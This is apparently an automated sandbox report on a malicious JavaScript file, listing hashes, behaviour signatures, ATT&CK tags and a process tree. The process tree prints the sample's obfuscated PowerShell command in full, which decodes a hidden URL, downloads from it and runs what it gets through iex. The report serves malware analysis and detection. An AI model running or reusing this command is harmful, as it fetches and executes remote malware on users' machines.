e6a74221ca77013d8f394e8b641405099f9fc0b50756bf6d84d78c980ab3a658

Analysis

max time kernel
94s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-12-2024 14:54

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General

Target

aedc8f4223a3cc8eba8b1c8c7395cbd1cff6eb5c3e40f11c2e23a3d7c94fc594.js
Size

156KB
MD5

65b14682a00e3b78bb1a9ef537302d76
SHA1

298ae53b930530cb10b4b81cda3245943746410f
SHA256

aedc8f4223a3cc8eba8b1c8c7395cbd1cff6eb5c3e40f11c2e23a3d7c94fc594
SHA512

92675bf6672f83ef7ab8fb143592d1c80a67f8a22d9436249fb5a784c17a75380e40ba073824fc1d38cea3262f3ced0e4267dcc1520e6359b182a763feb76574
SSDEEP

1536:nw4I/1GXcuj+ZA7wlw3URl9IF3BFbOOuj+ZA7wlw3UYl9IF3BFbO9l9IF3BFbODI:nS0FxRLFxRrFxRF

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4300	3512	conhost.exe	83

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	1612	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1612	powershell.exe
1612	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1612	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4300 wrote to memory of 1612	4300	conhost.exe	85
PID 4300 wrote to memory of 1612	4300	conhost.exe	85

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\aedc8f4223a3cc8eba8b1c8c7395cbd1cff6eb5c3e40f11c2e23a3d7c94fc594.js
1⤵
PID:3148

C:\Windows\system32\conhost.exe
conhost --headless powershell $wuqdhf='ur' ;new-alias printout c$($wuqdhf)l;$efmoxalbz=(1531,1542,1550,1534,1536,1531,1551,1550,1555,1488,1550,1484,1531,1479,1549,1544,1545,1480,1482,1479,1545,1537,1545,1496,1548,1494,1542,1538,1543,1549,1548,1483,1482);$kyaipgwhnbeflc=('bronx','get-cmdlet');$nsukjrmebwx=$efmoxalbz;foreach($igysbaznmwlcxk in $nsukjrmebwx){$dutyxzqwm=$igysbaznmwlcxk;$jdvarpx=$jdvarpx+[char]($dutyxzqwm-1433);$ulbwefvydztm=$jdvarpx; $jpkngutrqh=$ulbwefvydztm};$xjukvgw[2]=$jpkngutrqh;$aduwylsxbjogp='rl';$nbmdai=1;.$([char](9992-9887)+'e'+'x')(printout -useb $jpkngutrqh)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $wuqdhf='ur' ;new-alias printout c$($wuqdhf)l;$efmoxalbz=(1531,1542,1550,1534,1536,1531,1551,1550,1555,1488,1550,1484,1531,1479,1549,1544,1545,1480,1482,1479,1545,1537,1545,1496,1548,1494,1542,1538,1543,1549,1548,1483,1482);$kyaipgwhnbeflc=('bronx','get-cmdlet');$nsukjrmebwx=$efmoxalbz;foreach($igysbaznmwlcxk in $nsukjrmebwx){$dutyxzqwm=$igysbaznmwlcxk;$jdvarpx=$jdvarpx+[char]($dutyxzqwm-1433);$ulbwefvydztm=$jdvarpx; $jpkngutrqh=$ulbwefvydztm};$xjukvgw[2]=$jpkngutrqh;$aduwylsxbjogp='rl';$nbmdai=1;.$([char](9992-9887)+'e'+'x')(printout -useb $jpkngutrqh)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1612

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pbrucceo.cp2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1612-0-0x00007FFA102C3000-0x00007FFA102C5000-memory.dmp

Filesize
8KB

Download
memory/1612-1-0x0000025CE5C90000-0x0000025CE5CB2000-memory.dmp

Filesize
136KB

Download
memory/1612-11-0x00007FFA102C0000-0x00007FFA10D81000-memory.dmp

Filesize
10.8MB

Download
memory/1612-12-0x00007FFA102C0000-0x00007FFA10D81000-memory.dmp

Filesize
10.8MB

Download
memory/1612-13-0x00007FFA102C0000-0x00007FFA10D81000-memory.dmp

Filesize
10.8MB

Download
memory/1612-14-0x00007FFA102C0000-0x00007FFA10D81000-memory.dmp

Filesize
10.8MB

Download
memory/1612-15-0x00007FFA102C3000-0x00007FFA102C5000-memory.dmp

Filesize
8KB

Download
memory/1612-16-0x00007FFA102C0000-0x00007FFA10D81000-memory.dmp

Filesize
10.8MB

Download
memory/1612-19-0x00007FFA102C0000-0x00007FFA10D81000-memory.dmp

Filesize
10.8MB

Download